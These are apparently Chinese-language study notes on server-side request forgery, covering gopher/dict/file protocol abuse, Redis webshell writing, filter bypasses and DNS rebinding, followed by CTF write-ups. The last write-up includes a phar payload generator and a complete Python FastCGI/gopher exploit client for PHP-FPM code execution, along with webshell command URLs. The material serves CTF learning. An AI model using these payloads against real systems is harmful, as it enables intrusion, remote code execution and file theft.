[TOC]

SSRF简介

什么是SSRF?

具体怎么攻击,还是要依靠其他的工具,SSRF只是搭建了一个桥梁。

image-20210731221100569

为什么有SSRF?

如果翻译的是一个内网地址就可能出现问题

image-20210731221154590

SSRF有什么用?

image-20210731221518622

image-20210731221756498

最重要的是利用gopher协议攻击其他应用,比如数据库,redis,

image-20210731221819051

image-20210731222003333

SSRF检测

怎么发现SSRF漏洞?

存在可以访问的外链就很有可能存在SSRF

image-20210731222124259

SSRF有关的函数:

image-20210731222307268

SSRF常见利用-file://协议

image-20210731222400681

SSRF常见利用-dict://协议

image-20210731222452073

SSRF常见利用-Gopher://协议

利用gopher协议可以构造一个TCP数据,与MYSQL进行连接使用的就是TCP数据,gopher协议无疑是很强大的。可以去请求很多的内容,构造特定的数据包,去攻击一些内容。

image-20210731222550097

SSRF+REDIS写入WEBSHELL

Redis任意文件写入漏洞是非常常见的,很多时候内网中存在root权限运行的Redis服务,可以利用SSRF来穿透内网,再利用Gopher协议攻击内网中的Redis.

首先刺探端口发现6379端口存在Redis服务,6379就是Rediis的一个默认端口。

image-20210731223258917

正常的写文件:

image-20210731223525157

找到之后截取流量,构造gopher数据,利用gopher协议把流量发出去。就执行了之前写入的命令,执行了shell.php,就有了刚才的木马。

image-20210731223625572

image-20210731223906942

image-20210731223939269

image-20210731224006529

image-20210731224032731

image-20210731224102949

利用自动化工具就可以实现整个流程:

image-20210731224257847

SSRF常见利用-30x跳转

image-20210731224508287

SSRF漏洞绕过

SSRF常见绕过

短网址绕过

指向任意IP的域名xip.io

IP限制绕过

协议限制绕过

SSRF常见绕过-短网址

image-20210731224758306

SSRF常见绕过-xip.io

这种方式常用于不允许使用localhost

image-20210731224828986

SSRF常见绕过-IP格式绕过

image-20210731225039660

SSRF常见绕过-协议绕过

image-20210731225139873

SSRF进阶利用

image-20210731225245203

SSRF进阶利用-log

让他去访问我们自己的vps,把里面命令执行的结果带出来

image-20210731225429266

image-20210731225457971

如果没有域名

image-20210731225619068

SSRF进阶利用-time

image-20210731225746415

SSRF进阶利用-dns重绑定

image-20210731225859322

实例:

image-20210801143301304

使用ceye.io网站绑定dns地址,每次随机的访问一个dns,

127.0.0.1回响NO,所以第一次随机出127.0.0.3,成功通过检测,绕过了对IP的限制。然后就是服务器请求时随机出127.0.0.1得到正确结果。

得多次尝试。

image-20210801143110492

[GKCTF2020]EZ三剑客-EzWeb

image-20210801144816875

image-20210801145001451

进行信息搜集,发现源码这里有一个secrect被注释,可能是一个参数。

image-20210801145112889

加上secrect后发现内容:

image-20210801145336668

复制下来发现网关地址,含有内网地址:

image-20210801145452435

在url框中输入http://baidu.com没有回响

输入http://localhost/ 回响 别这样

说明localhost在黑名单中

使用file://etc/passwd仍然回响 别这样

file和http被过滤了

小技巧:

使用file ://etc/passwd就可以,file后多了一个空格

image-20210801150039972

利用burp抓包得到C段端口发现大部分是623,特殊的就是一些服务,在11下有了一些提示

image-20210801150536000

再给得到的11后的端口加上变量符号,测试一些SSRF可能的端口

3306 6379 9000

image-20210801150911717

发现是redis的一个报错

使用gopher协议

image-20210801151120007

image-20210801151353995

image-20210801151519511

得到结果:

image-20210801151620028

执行http://10.0.0.11/shell.php/cmd=ls%20/

image-20210801151755349

得到:

image-20210801151827738

再次执行http://10.0.0.11/shell.php?cmd=cat%20/flag

image-20210801151939748

得到flag:

image-20210801152057416

[HITCON 2017]SSRFme

首先进行代码审计

192.168.122.180 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
//是一个server,获取一个头
{
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//进行分割
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];//输出地址192.168.122.180

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
//构造字符串sandbox,再拼接MD5函数执行的结果,
@mkdir($sandbox);//创建文件夹
@chdir($sandbox);//进入创建的路径下

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
//执行GET命令,和curl差不多,产生一些网络请求,请求一些file协议,http协议
$info = pathinfo($_GET["filename"]);
//filename获取路径信息
$dir = str_replace(".", "", basename($info["dirname"]));
//进行替换,路径信息里不能有点,说明不能进行目录穿越
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
//将请求得到的数据放到basename中
highlight_file(__FILE__);

image-20210801155336654

image-20210801155557319

image-20210801155750816

[NCTF2019]phar matches everything

# [NCTF2019]phar matches everything

## Idea

* 关键文件代码如下

```php
catchmine.php
<?php
class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}

public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}

if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>
```

```php
upload.php
<?php
$target_dir = "uploads/";
$uploadOk = 1;

$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));

$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;

$target_file=$target_dir.$file_name;

$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}


if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg" ) {
echo "Sorry, only jpg,png,gif,jpeg are allowed.";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file $file_name has been uploaded to ./uploads/";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
```

* catchmine.php里面有一个反序列化,先看这里。Main::curl()明显存在SSRF并且可使用文件流造成任意文件读取。但是要触发curl的话就没法控制main里面的url了,所以还需要上传个phar文件,在getimagesize处触发。
思路:第一次反序列化,在getimagesize处触发phar反序列化,从而控制url。第二次反序列化,执行curl。

```php
<?php
class Easytest{
protected $test='1';
}
class Main{
public $url='file:///proc/net/arp';
}
$a=new Easytest();
echo urlencode(serialize($a));
$b=new Main();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
```

然后一一尝试发现11上有fastcgi,打!

执行phpinfo()发现有open_basedir和disable_function限制

前者好绕,后者利用自带函数,例如scandir,readfile等。



## EXP

```python
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
#params['PHP_ADMIN_VALUE']='extension = '+args.ext
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.quote(response))
if args.base64_format:
print(base64.b64encode(response))

# python 2.py 10.0.128.11 /var/www/html/index.php -p 9000 -c "<?php mkdir('/tmp/f');chdir('/tmp/f');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');?>" -u
```